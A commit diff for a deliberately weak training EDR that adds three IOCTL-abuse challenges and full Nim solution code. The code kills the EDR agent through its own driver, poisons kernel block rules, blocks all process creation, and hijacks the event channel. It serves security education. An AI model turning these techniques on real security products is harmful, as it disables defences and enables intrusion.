Challenge from last night

This commit is contained in:
Der Benji
2026-07-17 09:11:02 +02:00
parent 2c4fa6904d
commit 3af0e6813e
11 changed files with 875 additions and 10 deletions
+6 -1
View File
@@ -1,5 +1,5 @@
.PHONY: build clean install-deps run run-verbose run-safe run-driver help \
test test-nim test-driver-logic test-driver-ioctl
test test-nim test-driver-logic test-driver-ioctl uninstall
NIM ?= nim
NIMBLE ?= nimble
@@ -19,6 +19,7 @@ help:
@echo " make run-verbose - Build and run with verbose output"
@echo " make run-safe - Build and run in detection-only mode"
@echo " make run-driver - Build and run with kernel driver (requires Admin)"
@echo " make uninstall - Uninstall agent + driver (requires Admin)"
@echo " make clean - Remove build artifacts"
@echo " make test - Run all unit tests (Nim + driver logic)"
@echo " make test-nim - Run Nim agent unit tests"
@@ -54,6 +55,10 @@ clean:
rm -rf nimcache/
rm -rf src/nimcache/
uninstall:
@echo "Uninstalling agent + driver..."
powershell -ExecutionPolicy Bypass -File uninstall.ps1 -Force
test: test-nim test-driver-logic
test-nim: install-deps
+14 -4
View File
@@ -24,7 +24,7 @@
## Overview
**MostShittyEDR** is a deliberately weak EDR agent designed for **security research**, **education**, and **red team training**. It implements detection methods that mirror real-world EDR engines but with intentional weaknesses mapped to **39 bypass challenges** across **10 categories**.
**MostShittyEDR** is a deliberately weak EDR agent designed for **security research**, **education**, and **red team training**. It implements detection methods that mirror real-world EDR engines but with intentional weaknesses mapped to **42 bypass challenges** across **11 categories**.
The project has two operating modes:
- **User-mode** (default) — polls processes via Toolhelp32 snapshots
@@ -186,8 +186,14 @@ sc.exe start MostShittyEDR
# 3. Run the agent with --driver
.\edr_agent.exe --driver --verbose
# Uninstall
# Uninstall driver only
.\install_driver.ps1 -Uninstall
# Uninstall everything (agent + driver)
.\uninstall.ps1
# Uninstall everything + remove build artifacts
.\uninstall.ps1 -Clean
```
### User-mode vs Kernel-mode
@@ -221,6 +227,8 @@ sc.exe start MostShittyEDR
- :unlock: ETW session has hardcoded name, patchable `EtwEventWrite`
- :unlock: PE analysis has no entropy check, strict parser crashes on corrupted headers
- :unlock: Polling-based monitoring has timing gaps (without `--driver`)
- :unlock: Driver device has no access control — any process can send IOCTLs
- :unlock: Single-slot event delivery is monopolizable (DoS)
### Challenge Categories
@@ -236,8 +244,9 @@ sc.exe start MostShittyEDR
| **Signature Bypass** | 29-32 | Easy-Hard | Rule 6 |
| **Packer & PE Evasion** | 33-36 | Medium-Hard | Rule 9 |
| **BYOVD / Kernel Attacks** | 37-39 | Hard | Kernel Driver |
| **IOCTL Abuse** | 40-42 | Medium | Kernel Driver |
**39 challenges** with full solutions at the [Challenge Browser](https://benjitrapp.github.io/MostShittyEDR/challenges/).
**42 challenges** with full solutions at the [Challenge Browser](https://benjitrapp.github.io/MostShittyEDR/challenges/).
---
@@ -318,9 +327,10 @@ MostShittyEDR/
├── profiles/ # Real EDR hook profiles
├── signatures/
│ └── malware_hashes.txt # SHA256 signature database
├── _challenges/ # 39 bypass challenges
├── _challenges/ # 42 bypass challenges
├── _solutions/ # Detailed solution walkthroughs
├── install_driver.ps1 # Driver install/uninstall script
├── uninstall.ps1 # Full uninstall (agent + driver + cleanup)
├── Makefile # Build automation
└── MostShittyEDR.nimble # Nim package config
```
+44
View File
@@ -0,0 +1,44 @@
---
title: "Challenge 40: IOCTL Hijack — Kill via EDR's Own Driver"
difficulty: medium
category: "IOCTL Abuse"
---
# Challenge 40: IOCTL Hijack — Kill via EDR's Own Driver
**Difficulty:** Medium | **Category:** IOCTL Abuse | **Target:** Driver Device
## Objective
Open the MostShittyEDR driver's device and use its own `IOCTL_KILL_PROCESS` to terminate the EDR agent — no vulnerable third-party driver needed.
## Background
The MostShittyEDR kernel driver exposes its device at `\\.\MostShittyEDR` without any access control. The `DispatchCreateClose` handler always returns `STATUS_SUCCESS` — any process on the system can open the device. Once opened, all 5 IOCTLs are accessible, including `IOCTL_KILL_PROCESS` (`0x222004`), which calls `ZwTerminateProcess` from ring 0.
This means the EDR's own driver is a weaponizable IOCTL interface: instead of bringing your own vulnerable driver (BYOVD), you abuse the one the EDR already loaded.
## Weakness Exploited
1. **No DACL on the device object**: `IoCreateDevice` is called without setting a security descriptor — the default grants access to any local user
2. **No caller validation**: `DispatchCreateClose` doesn't check the calling process (PID, signature, integrity level)
3. **`FILE_ANY_ACCESS` on destructive IOCTLs**: `IOCTL_KILL_PROCESS` uses `FILE_ANY_ACCESS` instead of `FILE_WRITE_ACCESS`
4. **No PID validation**: The kill handler doesn't prevent terminating critical processes (PID 4, csrss.exe, the agent itself)
5. **`IoCreateDevice` with `Exclusive = FALSE`**: Multiple processes can open the device simultaneously
## Hints
1. The device symlink is `\\.\MostShittyEDR` — open it with `CreateFileA`
2. `IOCTL_KILL_PROCESS` is `0x222004` with `METHOD_BUFFERED`
3. The input buffer is an `EDR_COMMAND` struct: `{ Action: ULONG = 1, ProcessId: ULONG64 }`
4. Find the agent PID via `CreateToolhelp32Snapshot` / `Process32First`
5. You don't even need Administrator — the device has no access restrictions
6. Bonus: after killing the agent, use `IOCTL_CLEAR_BLOCK_RULES` (`0x22200C`) to remove all kernel block rules
## Success Criteria
- The `edr_agent.exe` process is terminated using the EDR's own driver IOCTL
- No external driver is loaded — only `\\.\MostShittyEDR` is used
- The attack works from a standard (non-elevated) user context
[View Solution]({{ '/solutions/40-ioctl-hijack-kill/' | relative_url }})
+44
View File
@@ -0,0 +1,44 @@
---
title: "Challenge 41: Block Rule Poisoning"
difficulty: medium
category: "IOCTL Abuse"
---
# Challenge 41: Block Rule Poisoning
**Difficulty:** Medium | **Category:** IOCTL Abuse | **Target:** Block Rule Table
## Objective
Use the driver's own `IOCTL_ADD_BLOCK_RULE` to inject a rule that blocks the EDR agent itself from restarting — weaponizing the kernel's process-deny mechanism against the EDR.
## Background
The MostShittyEDR driver maintains a kernel-level block rule table (up to 64 entries). When `ProcessCallback` fires for a new process, it checks every rule — if a rule matches the image name suffix and command-line substring, `CreationStatus` is set to `STATUS_ACCESS_DENIED` and the process never starts.
The `IOCTL_ADD_BLOCK_RULE` (`0x222008`) allows pushing new rules. Since the device has no access control, an attacker can push rules that block anything — including the EDR agent itself or critical system processes.
## Weakness Exploited
1. **No authentication on `ADD_BLOCK_RULE`**: Any process can push block rules to the kernel
2. **No rule validation**: The driver doesn't check if a rule would block its own agent or system-critical processes
3. **Rules survive agent death**: After killing the agent (Challenge 40), poisoned rules remain in the kernel — the agent can never restart
4. **No duplicate detection**: The same rule can be pushed 64 times, filling all slots
5. **Combined with `CLEAR_BLOCK_RULES`**: The attacker can first clear legitimate rules, then push malicious ones
## Hints
1. Open `\\.\MostShittyEDR` and send `IOCTL_ADD_BLOCK_RULE` (`0x222008`)
2. The input buffer is a `BLOCK_RULE_ENTRY` struct: `{ ImageSuffix: WCHAR[260], CmdLineSubstr: WCHAR[512] }`
3. Set `ImageSuffix = "edr_agent.exe"` and `CmdLineSubstr = ""` (empty = wildcard) to block the agent
4. The kernel denies process creation at callback time — the agent binary never executes
5. For maximum damage: first `IOCTL_CLEAR_BLOCK_RULES` to remove legitimate rules, then push poisoned rules, then `IOCTL_KILL_PROCESS` to kill the running agent
6. Bonus: push a rule with `ImageSuffix = ""` and `CmdLineSubstr = ""` — both wildcards match everything, blocking ALL processes on the system (careful: this is a DoS)
## Success Criteria
- A block rule targeting `edr_agent.exe` is pushed to the kernel
- After killing the agent, attempting to restart it fails with "Access Denied"
- The block persists until the driver is unloaded or `CLEAR_BLOCK_RULES` is called
[View Solution]({{ '/solutions/41-block-rule-poisoning/' | relative_url }})
+45
View File
@@ -0,0 +1,45 @@
---
title: "Challenge 42: Event Channel DoS"
difficulty: medium
category: "IOCTL Abuse"
---
# Challenge 42: Event Channel DoS
**Difficulty:** Medium | **Category:** IOCTL Abuse | **Target:** Event Delivery
## Objective
Monopolize the driver's single-slot event delivery mechanism so the legitimate EDR agent receives no events — blinding it without killing it or removing callbacks.
## Background
The MostShittyEDR driver uses a **single pending IRP** design for event delivery. When the agent sends `IOCTL_WAIT_FOR_EVENT` (`0x222000`), the IRP is pended in `g_State.PendingIrp`. When a kernel callback fires, the event is copied into the pending IRP and completed. If no IRP is pending, events are queued in memory.
The critical weakness: only ONE IRP can be pending at a time. If a second `WAIT_FOR_EVENT` arrives while one is already pending, the driver returns `STATUS_DEVICE_BUSY`. An attacker who opens the device first and sends `WAIT_FOR_EVENT` before the agent does will **monopolize the event channel** — the agent gets `STATUS_DEVICE_BUSY` on every poll and sees nothing.
## Weakness Exploited
1. **Single PendingIrp slot**: Only one consumer can receive events at a time
2. **No caller identity check**: The driver doesn't verify that the waiting IRP comes from the agent
3. **First-come-first-served**: Whoever sends `WAIT_FOR_EVENT` first wins the slot
4. **No session binding**: The driver doesn't bind to a specific caller on `IRP_MJ_CREATE`
5. **Events flow to the attacker**: The attacker's process receives all kernel events (process/thread creation, LSASS access) — a free telemetry wiretap
## Hints
1. Open `\\.\MostShittyEDR` with `FILE_FLAG_OVERLAPPED` for async I/O
2. Send `IOCTL_WAIT_FOR_EVENT` (`0x222000`) with an `EDR_EVENT`-sized output buffer (1581 bytes)
3. When the IRP completes (event received), immediately send another `WAIT_FOR_EVENT` to re-occupy the slot
4. The agent's `runDriverLoop` will get `ERROR_BUSY` (`werBusy`) on every attempt
5. You're now receiving all kernel events yourself — you can read what the EDR would see
6. Bonus: combine with `IOCTL_CLEAR_BLOCK_RULES` — now the kernel doesn't block anything AND the agent sees nothing
## Success Criteria
- The agent is running in `--driver` mode but receives `STATUS_DEVICE_BUSY` on every poll
- The agent's output shows no `[CREATE]`, `[EXIT]`, or `[THREAD+]` events
- The attacker's tool receives all kernel events in real-time
- The agent process stays alive but is completely blind
[View Solution]({{ '/solutions/42-event-channel-dos/' | relative_url }})
+124
View File
@@ -0,0 +1,124 @@
---
title: "Solution 40: IOCTL Hijack — Kill via EDR's Own Driver"
difficulty: medium
category: "IOCTL Abuse"
---
[Back to Challenge]({{ '/challenges/40-ioctl-hijack-kill/' | relative_url }})
## Overview
The MostShittyEDR driver's device (`\\.\MostShittyEDR`) has zero access control — any process can open it and invoke all IOCTLs, including `IOCTL_KILL_PROCESS` which calls `ZwTerminateProcess` from ring 0. This turns the EDR's own driver into a BYOVD weapon without needing any external vulnerable driver.
## Solution
```nim
# ioctl_hijack.nim - kill the EDR agent using its own driver
import winim/lean
const
DEVICE_PATH = r"\\.\MostShittyEDR"
IOCTL_KILL_PROCESS = 0x222004'u32
IOCTL_CLEAR_RULES = 0x22200C'u32
type
EdrCommand {.packed.} = object
action: uint32
processId: uint64
proc findPid(name: string): DWORD =
let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
if snap == INVALID_HANDLE_VALUE: return 0
defer: CloseHandle(snap)
var pe: PROCESSENTRY32
pe.dwSize = DWORD(sizeof(PROCESSENTRY32))
if Process32First(snap, &pe) != 0:
while true:
let exe = $cast[cstring](addr pe.szExeFile[0])
if exe.toLowerAscii() == name.toLowerAscii():
return pe.th32ProcessID
if Process32Next(snap, &pe) == 0: break
return 0
when isMainModule:
# Step 1: Open the EDR's own device — no admin required
let hDevice = CreateFileA(DEVICE_PATH,
GENERIC_READ or GENERIC_WRITE,
0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0)
if hDevice == INVALID_HANDLE_VALUE:
echo "[-] Cannot open device (driver not loaded?)"
quit(1)
defer: CloseHandle(hDevice)
echo "[+] Opened \\\\.\\ MostShittyEDR device"
# Step 2: Find the agent PID
let pid = findPid("edr_agent.exe")
if pid == 0:
echo "[-] edr_agent.exe not found"
quit(1)
echo "[+] Agent PID: ", pid
# Step 3: Kill the agent via its own driver's IOCTL
var cmd = EdrCommand(action: 1, processId: uint64(pid))
var bytesReturned: DWORD
let ok = DeviceIoControl(hDevice, IOCTL_KILL_PROCESS,
&cmd, DWORD(sizeof(cmd)), nil, 0, &bytesReturned, nil)
if ok != 0:
echo "[+] Agent killed via its own driver's ZwTerminateProcess"
else:
echo "[-] Kill IOCTL failed: ", GetLastError()
quit(1)
# Step 4: Clear all block rules so malware can run freely
discard DeviceIoControl(hDevice, IOCTL_CLEAR_RULES,
nil, 0, nil, 0, &bytesReturned, nil)
echo "[+] All kernel block rules cleared"
echo "[+] EDR is dead, protections removed — operate freely"
```
## Why It Works
The vulnerability chain is:
1. **`IoCreateDevice` with no security descriptor** ([driver.cpp:882-884](../../src/driver/driver.cpp)): The device inherits the default DACL, which allows local users to open it.
2. **`DispatchCreateClose` always succeeds** ([driver.cpp:762-769](../../src/driver/driver.cpp)): No process identity check, no integrity level check, no signature validation.
3. **`FILE_ANY_ACCESS` on all IOCTLs** ([driver.cpp:59-72](../../src/driver/driver.cpp)): Even a handle opened with only `GENERIC_READ` can send destructive IOCTLs.
4. **`HandleKillProcess` validates only `Action == 1`** ([driver.cpp:567](../../src/driver/driver.cpp)): No check whether the target PID is the agent, a system process, or if the caller is authorized.
A production EDR would fix this with:
- A restrictive DACL on the device object (only the agent's SID)
- Caller verification via `IoGetRequestorProcessId` or PID binding on `IRP_MJ_CREATE`
- `FILE_WRITE_ACCESS` on destructive IOCTLs
- PID whitelist preventing self-kill
## Attack Chain
```
1. CreateFileA("\\.\MostShittyEDR") — succeeds without admin
2. Find edr_agent.exe PID via Toolhelp32
3. DeviceIoControl(IOCTL_KILL_PROCESS, {Action=1, PID=target})
4. Agent is dead — ZwTerminateProcess from ring 0
5. DeviceIoControl(IOCTL_CLEAR_BLOCK_RULES) — remove all protections
6. Operate freely — callbacks still fire but nobody reads them
```
## Real-World Comparison
This is the same class of vulnerability that made real EDR drivers exploitable in the wild:
- **Avast aswArPot.sys** — exposed a kill-process IOCTL that the Avos Locker ransomware abused
- **Zemana AntiMalware** — `zam64.sys` exposed similar unprotected IOCTLs
Modern EDRs protect against this by running their agent as PPL and restricting device access to the agent's exact process signature.
## How to Verify
1. Start the EDR: `.\edr_agent.exe --driver --verbose`
2. In another terminal, compile and run: `nim c -r ioctl_hijack.nim`
3. The agent disappears — verify with `tasklist /fi "imagename eq edr_agent.exe"`
4. The driver is still loaded but orphaned — events are enqueued with nobody to read them
+149
View File
@@ -0,0 +1,149 @@
---
title: "Solution 41: Block Rule Poisoning"
difficulty: medium
category: "IOCTL Abuse"
---
[Back to Challenge]({{ '/challenges/41-block-rule-poisoning/' | relative_url }})
## Overview
The driver's `IOCTL_ADD_BLOCK_RULE` accepts rules from any caller. A poisoned rule targeting `edr_agent.exe` causes the kernel to deny the agent's process creation at callback time — the agent can never restart. Combined with `IOCTL_KILL_PROCESS`, this is a permanent EDR takedown that survives until driver unload.
## Solution
```nim
# rule_poison.nim - block the EDR agent from ever restarting
import winim/lean
const
DEVICE_PATH = r"\\.\MostShittyEDR"
IOCTL_KILL_PROCESS = 0x222004'u32
IOCTL_ADD_BLOCK_RULE = 0x222008'u32
IOCTL_CLEAR_RULES = 0x22200C'u32
type
EdrCommand {.packed.} = object
action: uint32
processId: uint64
BlockRuleEntry {.packed.} = object
imageSuffix: array[260, WCHAR]
cmdLineSubstr: array[512, WCHAR]
proc toWcharArray(dst: var openArray[WCHAR], src: string) =
for i, c in src:
if i >= dst.len - 1: break
dst[i] = WCHAR(ord(c))
dst[min(src.len, dst.len - 1)] = WCHAR(0)
proc findPid(name: string): DWORD =
let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
if snap == INVALID_HANDLE_VALUE: return 0
defer: CloseHandle(snap)
var pe: PROCESSENTRY32
pe.dwSize = DWORD(sizeof(PROCESSENTRY32))
if Process32First(snap, &pe) != 0:
while true:
let exe = $cast[cstring](addr pe.szExeFile[0])
if exe.toLowerAscii() == name.toLowerAscii():
return pe.th32ProcessID
if Process32Next(snap, &pe) == 0: break
return 0
when isMainModule:
let hDevice = CreateFileA(DEVICE_PATH,
GENERIC_READ or GENERIC_WRITE,
0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0)
if hDevice == INVALID_HANDLE_VALUE:
echo "[-] Cannot open device"
quit(1)
defer: CloseHandle(hDevice)
var bytesReturned: DWORD
# Step 1: Clear all legitimate block rules
echo "[*] Clearing existing block rules..."
discard DeviceIoControl(hDevice, IOCTL_CLEAR_RULES,
nil, 0, nil, 0, &bytesReturned, nil)
echo "[+] All legitimate rules removed"
# Step 2: Push poison rule — block edr_agent.exe
echo "[*] Pushing poison rule: block edr_agent.exe..."
var rule: BlockRuleEntry
rule.imageSuffix.toWcharArray("edr_agent.exe")
# cmdLineSubstr left empty = wildcard (matches everything)
let ok = DeviceIoControl(hDevice, IOCTL_ADD_BLOCK_RULE,
&rule, DWORD(sizeof(rule)), nil, 0, &bytesReturned, nil)
if ok != 0:
echo "[+] Poison rule active in kernel"
else:
echo "[-] Failed to add rule"
quit(1)
# Step 3: Kill the running agent
let pid = findPid("edr_agent.exe")
if pid != 0:
echo "[*] Killing agent PID ", pid, "..."
var cmd = EdrCommand(action: 1, processId: uint64(pid))
discard DeviceIoControl(hDevice, IOCTL_KILL_PROCESS,
&cmd, DWORD(sizeof(cmd)), nil, 0, &bytesReturned, nil)
echo "[+] Agent killed"
else:
echo "[*] Agent not running (already dead?)"
echo ""
echo "[+] EDR agent is permanently blocked from restarting"
echo " The kernel will deny creation of edr_agent.exe"
echo " until the driver is unloaded or rules are cleared"
```
## Advanced: System-Wide DoS
A rule with both fields empty acts as a double-wildcard — it matches **every** process:
```nim
# WARNING: This blocks ALL process creation on the system
var dosRule: BlockRuleEntry
# imageSuffix[0] = 0 (already zero-initialized = wildcard)
# cmdLineSubstr[0] = 0 (already zero-initialized = wildcard)
discard DeviceIoControl(hDevice, IOCTL_ADD_BLOCK_RULE,
&dosRule, DWORD(sizeof(dosRule)), nil, 0, &bytesReturned, nil)
# Now no process can start — only a reboot or driver unload fixes this
```
## Why It Works
The `HandleAddBlockRule` handler ([driver.cpp:584-616](../../src/driver/driver.cpp)) has three critical gaps:
1. **No caller validation**: Any process can add rules — not just the agent
2. **No rule content validation**: The driver doesn't check if a rule targets its own agent, system-critical processes (`csrss.exe`, `smss.exe`), or uses double-wildcards
3. **Rules survive agent death**: Block rules live in the kernel's `g_BlockRules` table, which persists until `IOCTL_CLEAR_BLOCK_RULES` or driver unload
The `ProcessCallback` ([driver.cpp:428-473](../../src/driver/driver.cpp)) evaluates rules synchronously at process creation. When the poisoned rule matches `edr_agent.exe`, `CreationStatus` is set to `STATUS_ACCESS_DENIED` — Windows reports "Access Denied" to whoever tried to start the agent.
A production EDR would fix this with:
- Reserved rule slots that cannot be overwritten by IOCTL
- A hardcoded self-exclusion in `MatchBlockRule` (never block the agent's own image)
- Authenticated rule management (signed rule payloads or caller PID verification)
- Rate limiting on rule additions
## Attack Chain
```
1. Open \\.\MostShittyEDR
2. IOCTL_CLEAR_BLOCK_RULES — remove legitimate protections
3. IOCTL_ADD_BLOCK_RULE — push rule blocking edr_agent.exe
4. IOCTL_KILL_PROCESS — kill the running agent
5. Agent is dead and can never restart
6. All malware runs unchecked — callbacks fire but nobody reads events
```
## How to Verify
1. Start the EDR: `.\edr_agent.exe --driver --verbose`
2. Run the poison tool — agent dies
3. Try to restart: `.\edr_agent.exe --driver --verbose` — "Access Denied"
4. The kernel `DbgPrint` output shows: `[MostShittyEDR-BLOCK] Blocked PID xxx via rule 0`
5. To restore: run a tool that sends `IOCTL_CLEAR_BLOCK_RULES`, then restart the agent
+161
View File
@@ -0,0 +1,161 @@
---
title: "Solution 42: Event Channel DoS"
difficulty: medium
category: "IOCTL Abuse"
---
[Back to Challenge]({{ '/challenges/42-event-channel-dos/' | relative_url }})
## Overview
The driver's event delivery uses a single `PendingIrp` slot. An attacker who continuously occupies this slot with their own `IOCTL_WAIT_FOR_EVENT` requests starves the legitimate agent — it gets `STATUS_DEVICE_BUSY` on every poll and sees nothing. The agent stays alive but is completely deaf, while the attacker receives all kernel events as a free telemetry wiretap.
## Solution
```nim
# event_dos.nim - monopolize the EDR's event channel
import winim/lean
import os
const
DEVICE_PATH = r"\\.\MostShittyEDR"
IOCTL_WAIT_FOR_EVENT = 0x222000'u32
IOCTL_CLEAR_RULES = 0x22200C'u32
EVENT_PROCESS_CREATE = 1'u32
EVENT_PROCESS_EXIT = 2'u32
EVENT_THREAD_CREATE = 3'u32
EVENT_LSASS_ACCESS = 5'u32
type
EdrEvent {.packed.} = object
eventType: uint32
timestamp: int64
processId: uint64
threadId: uint64
parentProcessId: uint64
blocked: byte
imageFileName: array[260, WCHAR]
commandLine: array[512, WCHAR]
proc wcharToString(arr: openArray[WCHAR]): string =
result = ""
for c in arr:
if c == WCHAR(0): break
result.add(char(c))
when isMainModule:
echo "[*] Event Channel DoS — monopolizing the EDR's event pipe"
echo ""
# Open the device with overlapped I/O for async event waiting
let hDevice = CreateFileA(DEVICE_PATH,
GENERIC_READ or GENERIC_WRITE,
0, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL or FILE_FLAG_OVERLAPPED, 0)
if hDevice == INVALID_HANDLE_VALUE:
echo "[-] Cannot open device"
quit(1)
echo "[+] Device opened — agent will get STATUS_DEVICE_BUSY"
# Clear block rules so nothing is blocked at kernel level
var br: DWORD
discard DeviceIoControl(hDevice, IOCTL_CLEAR_RULES,
nil, 0, nil, 0, &br, nil)
echo "[+] Block rules cleared"
echo "[*] Listening for kernel events (agent is blind)..."
echo ""
let hEvent = CreateEventA(nil, TRUE, FALSE, nil)
var eventCount = 0
# Continuous loop — grab events before the agent can
while true:
var ev: EdrEvent
var overlapped: OVERLAPPED
overlapped.hEvent = hEvent
ResetEvent(hEvent)
let ok = DeviceIoControl(hDevice, IOCTL_WAIT_FOR_EVENT,
nil, 0, &ev, DWORD(sizeof(ev)), &br, &overlapped)
if ok == 0 and GetLastError() == ERROR_IO_PENDING:
# Wait for the next kernel event
WaitForSingleObject(hEvent, INFINITE)
discard GetOverlappedResult(hDevice, &overlapped, &br, FALSE)
if br >= DWORD(sizeof(EdrEvent)):
inc eventCount
let img = ev.imageFileName.wcharToString()
case ev.eventType
of EVENT_PROCESS_CREATE:
let cmd = ev.commandLine.wcharToString()
echo "[STOLEN #", eventCount, "] Process CREATE PID=",
ev.processId, " PPID=", ev.parentProcessId,
" Image=", img
if cmd.len > 0:
echo " CmdLine: ", cmd[0 .. min(79, cmd.len-1)]
of EVENT_PROCESS_EXIT:
echo "[STOLEN #", eventCount, "] Process EXIT PID=",
ev.processId
of EVENT_THREAD_CREATE:
echo "[STOLEN #", eventCount, "] Thread+ PID=",
ev.processId, " TID=", ev.threadId
of EVENT_LSASS_ACCESS:
echo "[STOLEN #", eventCount, "] LSASS ACCESS PID=",
ev.processId, " BLOCKED=", ev.blocked
else:
echo "[STOLEN #", eventCount, "] Event type=",
ev.eventType, " PID=", ev.processId
```
## Why It Works
The `HandleWaitForEvent` handler ([driver.cpp:689-752](../../src/driver/driver.cpp)) enforces a single-consumer model:
```
if (g_State.PendingIrp != NULL) {
// Already occupied — reject
return STATUS_DEVICE_BUSY;
}
```
The flow:
1. Attacker sends `WAIT_FOR_EVENT` → IRP is pended in `g_State.PendingIrp`
2. Agent sends `WAIT_FOR_EVENT` → gets `STATUS_DEVICE_BUSY` (the slot is taken)
3. When a kernel callback fires, `EnqueueEvent` completes the attacker's IRP with the event data
4. The attacker immediately sends another `WAIT_FOR_EVENT` → re-occupies the slot
5. The agent never gets a slot — it's permanently starved
This is a **race-free DoS** because:
- The attacker's IRP completes and gets re-submitted faster than the agent's poll loop
- The agent's `driverWaitForEvent` gets `werBusy` and sleeps 100ms before retrying — the attacker re-occupies the slot during that sleep
- Even without the sleep, the attacker wins because the IRP completion + re-submission path is tighter
**Bonus**: the attacker receives all kernel telemetry — every process creation, thread event, and LSASS access attempt flows to the attacker's tool instead of the EDR agent. This is effectively a free kernel-level wiretap.
A production EDR would fix this with:
- Process binding on `IRP_MJ_CREATE` — only the registered agent PID can send `WAIT_FOR_EVENT`
- Exclusive device open (`IoCreateDevice` with `Exclusive = TRUE`)
- Multiple consumer support (per-client event queues)
- Agent identity verification via digital signature or token
## Attack Chain
```
1. Open \\.\MostShittyEDR with FILE_FLAG_OVERLAPPED
2. IOCTL_CLEAR_BLOCK_RULES — remove kernel protections
3. Loop: IOCTL_WAIT_FOR_EVENT → receive event → repeat
4. Agent gets STATUS_DEVICE_BUSY on every attempt
5. Agent is alive but deaf — all events flow to attacker
6. Attacker has a free kernel telemetry wiretap
```
## How to Verify
1. Start the DoS tool first: `nim c -r event_dos.nim`
2. Start the EDR: `.\edr_agent.exe --driver --verbose`
3. The agent's output shows no `[CREATE]`, `[EXIT]`, or `[THREAD+]` events
4. The DoS tool's output shows `[STOLEN #N]` for every kernel event
5. Launch `notepad.exe` — the DoS tool shows the create event, the agent shows nothing
+27 -1
View File
@@ -6,7 +6,7 @@ permalink: /challenges/
# EDR Bypass Challenges
39 challenges across 10 categories. Start with Easy and work your way up.
42 challenges across 11 categories. Start with Easy and work your way up.
## Category 1: Process Name Evasion
@@ -311,3 +311,29 @@ Bring Your Own Vulnerable Driver — load a legitimately signed driver with dang
</a>
</div>
## Category 11: IOCTL Abuse
The EDR's own kernel driver exposes an unprotected device (`\\.\MostShittyEDR`) — no DACL, no caller verification, `FILE_ANY_ACCESS` on destructive IOCTLs. Weaponize the driver against itself: kill the agent, poison its block rules, or steal its event channel. No external driver needed.
<div class="challenge-grid">
<a href="{{ '/challenges/40-ioctl-hijack-kill/' | relative_url }}" class="challenge-card">
<span class="badge badge-medium">Medium</span>
<h3>40 - IOCTL Hijack: Kill via EDR</h3>
<p>Open the unprotected device and terminate the agent with its own IOCTL_KILL_PROCESS</p>
</a>
<a href="{{ '/challenges/41-block-rule-poisoning/' | relative_url }}" class="challenge-card">
<span class="badge badge-medium">Medium</span>
<h3>41 - Block Rule Poisoning</h3>
<p>Push a kernel block rule targeting edr_agent.exe — it can never restart</p>
</a>
<a href="{{ '/challenges/42-event-channel-dos/' | relative_url }}" class="challenge-card">
<span class="badge badge-medium">Medium</span>
<h3>42 - Event Channel DoS</h3>
<p>Monopolize the single-slot PendingIrp to starve the agent — steal all kernel events</p>
</a>
</div>
+13 -4
View File
@@ -9,15 +9,15 @@ title: "Home | MostShittyEDR"
<p class="subtitle">The World's Most Intentionally Terrible EDR — an educational platform for understanding EDR detection and evasion techniques.</p>
<div class="stats">
<div class="stat">
<div class="stat-number">39</div>
<div class="stat-number">42</div>
<div class="stat-label">Challenges</div>
</div>
<div class="stat">
<div class="stat-number">10</div>
<div class="stat-number">11</div>
<div class="stat-label">Categories</div>
</div>
<div class="stat">
<div class="stat-number">39</div>
<div class="stat-number">42</div>
<div class="stat-label">Solutions</div>
</div>
</div>
@@ -116,9 +116,18 @@ title: "Home | MostShittyEDR"
</div>
</a>
<a href="{{ '/challenges/#category-11-ioctl-abuse' | relative_url }}" class="card">
<div class="card-title">IOCTL Abuse</div>
<div class="card-description">Weaponize the EDR's own unprotected driver device — kill the agent, poison block rules, or steal the event channel. No external driver needed.</div>
<div class="card-meta">
<span class="badge badge-category">3 Challenges</span>
<span class="badge badge-medium">Medium</span>
</div>
</a>
<a href="{{ '/challenges/' | relative_url }}" class="card">
<div class="card-title">Getting Started</div>
<div class="card-description">New here? Browse all 39 challenges, pick your difficulty, and start bypassing.</div>
<div class="card-description">New here? Browse all 42 challenges, pick your difficulty, and start bypassing.</div>
<div class="card-meta">
<span class="badge badge-category">Guide</span>
</div>
+248
View File
@@ -0,0 +1,248 @@
<#
.SYNOPSIS
MostShittyEDR complete uninstall script — agent + kernel driver.
.DESCRIPTION
Stops the EDR agent process, removes the kernel driver service,
and optionally cleans up build artifacts. Requires Administrator
for driver removal.
.PARAMETER Agent
Stop and remove the agent process only.
.PARAMETER Driver
Stop and remove the kernel driver only.
.PARAMETER Clean
Also remove build artifacts (edr_agent.exe, nimcache, test binaries).
.PARAMETER Force
Skip confirmation prompts.
.EXAMPLE
.\uninstall.ps1 # Uninstall agent + driver
.\uninstall.ps1 -Agent # Stop agent only
.\uninstall.ps1 -Driver # Uninstall driver only
.\uninstall.ps1 -Clean # Uninstall all + remove build artifacts
.\uninstall.ps1 -Force # Skip confirmation
#>
[CmdletBinding(DefaultParameterSetName = 'All')]
param(
[Parameter(ParameterSetName = 'AgentOnly')]
[switch]$Agent,
[Parameter(ParameterSetName = 'DriverOnly')]
[switch]$Driver,
[switch]$Clean,
[switch]$Force
)
$ServiceName = "MostShittyEDR"
$AgentName = "edr_agent"
$ScriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
# ── Helpers ──────────────────────────────────────────────
function Write-Banner {
Write-Host ""
Write-Host " MostShittyEDR - Uninstaller" -ForegroundColor Red
Write-Host " ===========================" -ForegroundColor Red
Write-Host ""
}
function Test-Administrator {
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($identity)
return $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
}
# ── Agent Removal ────────────────────────────────────────
function Stop-Agent {
Write-Host " [*] Checking for running agent..." -ForegroundColor Cyan
$procs = Get-Process -Name $AgentName -ErrorAction SilentlyContinue
if ($null -eq $procs) {
Write-Host " Agent is not running" -ForegroundColor Yellow
return
}
$count = @($procs).Count
Write-Host " Found $count agent process(es)" -ForegroundColor Yellow
foreach ($p in @($procs)) {
Write-Host " Stopping PID $($p.Id)..." -ForegroundColor Cyan
try {
$p | Stop-Process -Force -ErrorAction Stop
Write-Host " PID $($p.Id) terminated" -ForegroundColor Green
} catch {
Write-Host " [!] Failed to stop PID $($p.Id): $_" -ForegroundColor Red
Write-Host " Try running as Administrator" -ForegroundColor Yellow
}
}
Start-Sleep -Milliseconds 500
